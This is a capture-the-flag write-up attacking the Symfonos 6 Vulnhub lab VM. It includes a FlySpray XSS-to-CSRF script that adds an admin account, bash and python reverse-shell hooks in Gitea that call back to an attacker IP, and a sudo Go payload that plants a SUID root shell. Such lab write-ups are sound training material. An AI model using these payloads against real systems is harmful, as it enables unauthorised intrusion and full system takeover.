Vulnhub: Symfonos 6

Vulnhub: Symfonos 6

General Information / Brief

Another target from the Symfonos series. Certainly a target that will have you questioning if exploitation method will work or not, then eventually conclude - there is only one way to find out and that is to try it anyways.

Scope

Last runner up in the series will target Symfonos 6 - the scope of this module is to demonstrate the importance of enumeration and to not sleep on the often overlooked - client side attacks. Also requires multiple pivots (horizontal/vertical) and customization to elevate privilege.

Reconnaissance


Target Address
Symfonos 6 192.168.1.55

Quick initial scan on target to note open ports and services.

rustscan -a 192.168.1.55 -- -sC -sV

Initial scan result.

$ rustscan -a 192.168.1.55 -- -sC -sV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
...
Open 192.168.1.55:22
Open 192.168.1.55:80
Open 192.168.1.55:3000
Open 192.168.1.55:3306
Open 192.168.1.55:5000
[~] Starting Script(s)
...
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 7.4 (protocol 2.0)
...
80/tcp   open  http    syn-ack Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods: 
|   Supported Methods: OPTIONS GET HEAD POST TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
3000/tcp open  ppp?    syn-ack
| fingerprint-strings: 
|   GenericLines, Help: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=f09dda36fc1a2a64; Path=/; HttpOnly
|     Set-Cookie: _csrf=Hqs00JDBi7XzNwqs_QPZBUQz7dI6MTY2NjcwNjAwOTY4MzY3MDI5Mg; Path=/; Expires=Wed, 26 Oct 2022 13:53:29 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Tue, 25 Oct 2022 13:53:29 GMT
|     <!DOCTYPE html>
|     <html lang="en-US">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Symfonos6</title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <script>
|     ('serviceWorker' in navigator) {
|     navigator.serviceWorker.register('/serviceworker.js').then(function(registration) {
|     console.info('ServiceWorker registration successful with scope: ', registrat
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=982d79d30bb46e57; Path=/; HttpOnly
|     Set-Cookie: _csrf=Ttc6vycoIb2Jar8Q104Oa8dp6M06MTY2NjcwNjAxNDczMTAxOTU1Mg; Path=/; Expires=Wed, 26 Oct 2022 13:53:34 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Tue, 25 Oct 2022 13:53:34 GMT
|     <!DOCTYPE html>
|     <html lang="en-US">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Page Not Found - Symfonos6</title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <script>
|     ('serviceWorker' in navigator) {
|     navigator.serviceWorker.register('/serviceworker.js').then(function(registration) {
|_    console.info('ServiceWorker registration successful
3306/tcp open  mysql   syn-ack MariaDB (unauthorized)
5000/tcp open  upnp?   syn-ack
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/plain
|     Date: Tue, 25 Oct 2022 13:53:59 GMT
|     Content-Length: 18
|     page not found
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/plain
|     Date: Tue, 25 Oct 2022 13:53:29 GMT
|     Content-Length: 18
|     page not found
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/plain
|     Date: Tue, 25 Oct 2022 13:53:44 GMT
|     Content-Length: 18
|_    page not found
...

Nmap scan each ports for service and default nmap script.

nmap -sC -sV -p22,80,3000,3306,5000 192.168.1.55
  • -sC: run default nmap scripts
  • -sV: detect service version

We get back the following result showing that 05 ports are open:

  • Port 22: OpenSSH 7.4 (protocol 2.0)
  • Port 80: Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
  • Port 3000: ppp?
  • Port 3306: MariaDB (unauthorized)
  • Port 5000: upnp?

Initial nmap service and script scan result.

Check - Same result as above.

Before probing ports - re-run and re-check with full nmap scan in background session for full report.

nmap -sC -sV -O -p- 192.168.1.55
  • -sC: run default nmap scripts
  • -sV: detect service version
  • -O: detect OS

We get back the following result showing that 00 ports are open: No new ports to report.

None.

Run an nmap scan with the -sU flag enabled to run a UDP scan.

nmap -sU --top-port 1000 192.168.1.55

We get back the following result showing that 01 ports are open:

  • Port 5353: zeroconf

Reports back the following result.

# nmap -sU --top-port 1000 192.168.1.55
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-25 10:02 EDT
Nmap scan report for symfonos6 (192.168.1.55)
Host is up (0.00026s latency).
Not shown: 946 closed udp ports (port-unreach), 53 open|filtered udp ports (no-response)
PORT     STATE SERVICE
5353/udp open  zeroconf
MAC Address: 00:0C:29:68:CE:36 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1025.96 seconds

Enumeration


Port 5000 - UNKNOWN

Probing the target port via nmap did not report information. Manually connecting to service port to banner grab - pressing enter twice has reported the following error.

$ nc -nv 192.168.1.55 5000
(UNKNOWN) [192.168.1.55] 5000 (?) open

HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close

400 Bad Request         

Port 3306 - MARIADB

Probing the target port with nmap mysql script scan have not yield useful information to report. Manually connecting to check login access via root prompted for password and return the following error after random attempt.

$ mysql -H 192.168.1.55 -u root -p
Enter password: 
ERROR 2002 (HY000): Can't connect to local server through socket '/run/mysqld/mysqld.sock' (2)
  • Possibly socket disabled or not set in my.cnf or restricted to local login only.

Port 3000 - HTTP

Probing the target port - front end view report Gitea application version 1.11.4.

image1-2

image2-2

Probe extension /explore/users yield possible usernames.

image3-2

# Possible Usernames:
achilles
zayotic

Port 80 - HTTP

Probing the target port - front end view.

image4-2

Viewing source mentions a rabbit hole warning about not checking image data.

image5-2

Operator check image data anyways and confirmed no data to report. During web directories and files scan report extension /posts and /flyspray.

$ feroxbuster --url http://192.168.1.55 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -d 2

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.1.55
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 2
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       21l       30w      251c http://192.168.1.55/
301      GET        7l       20w      234c http://192.168.1.55/posts => http://192.168.1.55/posts/
301      GET        7l       20w      243c http://192.168.1.55/posts/includes => http://192.168.1.55/posts/includes/
301      GET        7l       20w      238c http://192.168.1.55/posts/css => http://192.168.1.55/posts/css/
301      GET        7l       20w      237c http://192.168.1.55/flyspray => http://192.168.1.55/flyspray/
301      GET        7l       20w      245c http://192.168.1.55/flyspray/scripts => http://192.168.1.55/flyspray/scripts/
301      GET        7l       20w      245c http://192.168.1.55/flyspray/plugins => http://192.168.1.55/flyspray/plugins/
301      GET        7l       20w      244c http://192.168.1.55/flyspray/themes => http://192.168.1.55/flyspray/themes/
403      GET        8l       22w      219c http://192.168.1.55/flyspray/includes
301      GET        7l       20w      243c http://192.168.1.55/flyspray/cache => http://192.168.1.55/flyspray/cache/
301      GET        7l       20w      240c http://192.168.1.55/flyspray/js => http://192.168.1.55/flyspray/js/
301      GET        7l       20w      242c http://192.168.1.55/flyspray/docs => http://192.168.1.55/flyspray/docs/
301      GET        7l       20w      242c http://192.168.1.55/flyspray/lang => http://192.168.1.55/flyspray/lang/
403      GET        8l       22w      222c http://192.168.1.55/flyspray/attachments
301      GET        7l       20w      243c http://192.168.1.55/flyspray/fonts => http://192.168.1.55/flyspray/fonts/
301      GET        7l       20w      245c http://192.168.1.55/flyspray/avatars => http://192.168.1.55/flyspray/avatars/
301      GET        7l       20w      244c http://192.168.1.55/flyspray/vendor => http://192.168.1.55/flyspray/vendor/
301      GET        7l       20w      243c http://192.168.1.55/flyspray/Tests => http://192.168.1.55/flyspray/Tests/

Probe extension /posts reports a description of Greek character achilles.

image6-2

View source reveals nothing reportable. Probe extension /flyspray reports running flyspray application.

"Flyspray is a lightweight, web-based bug tracking system written in PHP for assisting with software development and project managements." Reference: http://www.flyspray.org/

image7-2

During research phase on login panel - operator could not find application default credentials and known default credential sets failed. Operator noted possible to enumerate users on login panel, with possible usernames reported from Gitea application port 3000. Username achilles report 'incorrect password' error.

image8-2

Username zayotic, admin or any invalid username report 'user does not exist' error.

image9-2

# Possible Username:
achilles

Operator was unable to determine Flyspray version. Checking the login link and noted the register link.

image10-2

image11-2

Operator created another username with credentials: user1:user1 and login with newly created account for analysis. Browsing through target - checked the bug report ID:1.

image12-2

Message posted by admin, notifying of checking current page for any updates - possibly client side exploitation.

image13-2

Research phase yield the follow exploitation candidate.

Operator could not pin point exact version - author of target and application did not insert version details anywhere. Closest operator could find is utilizing FlySpray Github latest version: 1.0-rc10 repo as map and located /docs/UPGRADING.txt and README.md on target.

File extension /flyspray/docs/UPGRADING.txt.

image14-2

File extension /flyspray/README.md.

image15-2

Note /themes/CleanFS/ exist on target. If operator research correctly using the following reference - directory should only exist for version 1.0 and up. Narrowing down possible exploitation advisory.

Initial Access


Exploitation Synopsis:

In this exercise - operator will exploit target client side vulnerability to gain administrator access to FlySpray portal. Administrator access report credential leak, which can be utilized on Gitea application for initial access.

Exploitation Incident Report:

Operator will utilize the following exploitation proof-of-concept. Exploitation requires valid user account access (created by registration during enumeration phase with the following credentials user1:user1).

Exploitation (FlySpray 1.0 - Proof-of-Concept)

Log into target, browse through and check bug report ID:1 and post message. e.g. of message posted XSS2CSRF - Point.

image16-2

Edit profile and change Real Name with the following JavaScript alert box payload.

"><script>alert('Hello Moon');</script>

image17-2

Save by clicking Update Details, then browse back to bug report ID:1.

image18-2

Popup alert triggered by JavaScript code in Real Name field displayed on comment post - confirmed XSS exploitation success.

image19-2

Exploitation (FlySpray 1.0 - Insert New Admin User)

Exploitation advisory provided proof-of-concept code to add another admin user on FlySpray application with credential hacker:12345678. Create payload file - script.js containing code from advisory and host on listening post HTTP.

var tok = document.getElementsByName('csrftoken')[0].value;

var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="action" value="admin.newuser"/>'
txt += '<input type="hidden" name="do" value="admin"/>'
txt += '<input type="hidden" name="area" value="newuser"/>'
txt += '<input type="hidden" name="user_name" value="hacker"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="12345678"/>'
txt += '<input type="hidden" name="user_pass2" value="12345678"/>'
txt += '<input type="hidden" name="real_name" value="root"/>'
txt += '<input type="hidden" name="email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="verify_email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="jabber_id" value=""/>'
txt += '<input type="hidden" name="notify_type" value="0"/>'
txt += '<input type="hidden" name="time_zone" value="0"/>'
txt += '<input type="hidden" name="group_in" value="1"/>'
txt += '</form>'

var d1 = document.getElementById('menu');
d1.insertAdjacentHTML('afterend', txt);
document.getElementById("hacked_form").submit();

Edit profile and change Real Name to link the JavaScript payload hosted on listening post HTTP.

"><script src="http://192.168.1.113/script.js"></script>  

Save by clicking Update Details, then activate listening post hosting payload script.js. After few minutes, listening post HTTP receive callback from target - signaling admin is checking page for update.

image20-2

Log out and re-login with the following credentials hacker:12345678 and confirmed new user login valid with administrator privilege. Analysis of administrator panel reports a bug reportID:2 entry - containing possible credential to target Gitea server.

image21-2

image22-2

# Possible Credential:
Username:achilles
Password:h2sBr9gryBunKdF9

Login via target ssh daemon with possible credential failed.

Note: With credential leaks, always test for credential re-use.

Exploitation (Gitea - Analysis)

Login credentials achilles:h2sBr9gryBunKdF9 confirmed valid. Browsing to user achilles panel and noted 2 repos.

image23-2

Repo: symfonos-blog based on /includes/ content and structures - appears to be extension to http://192.168.1.55/posts. Repo: symfonos-api based on file .env data, appears to be a custom REST API application running on target port 5000.

image24-2

Exploitation (Gitea - Implanting)

Research phase on target Gitea version 1.11.4 exploitation (with authentication) yield the following proof-of-concept candidate.

  • Gitea 1.12.5 - Remote Code Execution (Authenticated)
    • Requires authentication.
    • Author proof-of-concept blog demonstrate manual exploitation.
    • Exploitation concept: User accounts with 'May create git hooks' enabled, could modify or create a temporary repository, set the post-receive git hook with a payload containing system command, modify or create a file in the repository and trigger the payload by saving the repo with commit.

In this task - operator will demonstrate exploitation and inserting interactive session payload with both script and manual method and encourage reader to try both.

Exploitation (Script)

Utilizing script is straight forward - activate listening post handler and run script on target, using the provide credentials for achilles.

python3 49571.py -t http://192.168.1.55:3000 -u achilles -p h2sBr9gryBunKdF9 -I 192.168.1.64 -P 8081

If encounter error output unable to auto-detect email address - issue can be fixed with the following set of git config statement in os.system() method, inserted in script trigger_exploit function (before the git commit statement).

os.system('git config --global user.email "you@example.com"')
os.system('git config --global user.name "Your Name"')

image25-2

Exploitation (Manual)

Operator will insert interactive payload via Git Hooks. Choose any repo to implant - e.g. will utilize symfonos-blog repo. Click on settings -> Git Hooks -> edit icon on pre-receive.

image26-2

The following list of payload tested and confirmed success on target (Option-free) - insert payload in Hook Content.

bash -c 'bash -i >& /dev/tcp/192.168.1.113/8081 0>&1'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.113",8081));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Click on Update Hook.

image27

To activate callback, operator must summit a modification on symfonos-blog and update with commit. The following example, operator edit repo file index.php - adding a html comment. Activate listening handler for callback and click on Commit Changes.

image28

Response from listening post.

image29

Successful exploitation should yield callback session as user git privilege.

Privilege Escalation


Exploitation Synopsis:

In this exercise - operator will utilize credential reuse to horizontally elevate to another user and exploit user sudo access to vertically elevate to superuser.

Exploitation Incident Report:

Internal analysis of current session - checked target /etc/passwd and noted user: achilles with shell access and assigned home directory at /home/achilles.

[git@symfonos6 .ssh]$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
git:x:997:995:Git Version Control:/home/git:/bin/bash
achilles:x:1000:1000::/home/achilles:/bin/bash
[git@symfonos6 .ssh]$ 
Exploitation (Elevate User: git -> User: achilles)

During FlySpray application post exploitation, operator credential re-use check with achilles:h2sBr9gryBunKdF9 via SSH has failed - possibly due to key requirement or SSH config been configured with restrictions. Alternative method is credential re-use check by switching user from current session with su.

image30

Credential confirmed valid and successful exploitation should elevate session to user aeolus privilege.

Exploitation (Elevate User: achilles -> User: root)

Internal analysis of current session - check sudo listing and noted /usr/local/go/bin/go set to root privilege with no password required.

image31

Current session has access to run Golang code on target as any user (including root), allowing operator to generate Golang code file to execute shell command as super user privilege. For coding in Golang - operator can utilize the following reference as a guide.

Exploitation (Proof-of-Concept)

In this task - operator will generate Golang code to execute and output result of command whoami. Generate file cmd_1.go with the following proof-of-concept code and upload to target.

package main

import (
    "fmt"
    "log"
    "os/exec"
)

func main() {
    out, err := exec.Command("whoami").Output()
    if err != nil {
        log.Fatal(err)
    }
    fmt.Println(string(out))
}

Utilizing sudo access to go build package - execute with the following command to run the Golang code as user root. (Option-free.)

sudo /usr/local/go/bin/go run cmd_1.go
sudo -u root /usr/local/go/bin/go run cmd_1.go

Successful proof-of-concept should execute Golang code as sudo user root privilege.

image32

Exploitation (Inserting Payload)

Following same operating procedure - operator can generate payload that will copy bash file to temporary directory and set privilege to execute as suid. Generate file cmd_2.go with the following payload code and upload to target.

package main

import (
    "fmt"
    "log"
    "os/exec"
)

func main() {
    out, err := exec.Command("/bin/bash", "-c", "cp /bin/bash /tmp/pwnshell; chmod +xs /tmp/pwnshell").Output()
    if err != nil {
        log.Fatal(err)
    }
    fmt.Println(string(out))
}

Utilizing sudo access to go build package - execute with the following command to run the Golang code as user root. (Option-free.)

sudo /usr/local/go/bin/go run cmd_2.go
sudo -u root /usr/local/go/bin/go run cmd_2.go

Successful exploitation should copy bash to and as /tmp/pwnshell and set privilege to execute as suid. Execution as set shell privilege can be achieve with -p flag.

image33

Successful exploitation should elevate session to user root privilege.

Proof

image34

Exploitation Post-Incident Report


  • Credentials (Password re-use) - We are only human and often let our guard down in familiar circumstances, so it isn't far fetch for users and system administrator alike to reuse passwords across different nodes and services. Always check for password reuse.

Spelling, errors or any other issues to report. Please - be kind and let me know.

Until then...

spellcheck-2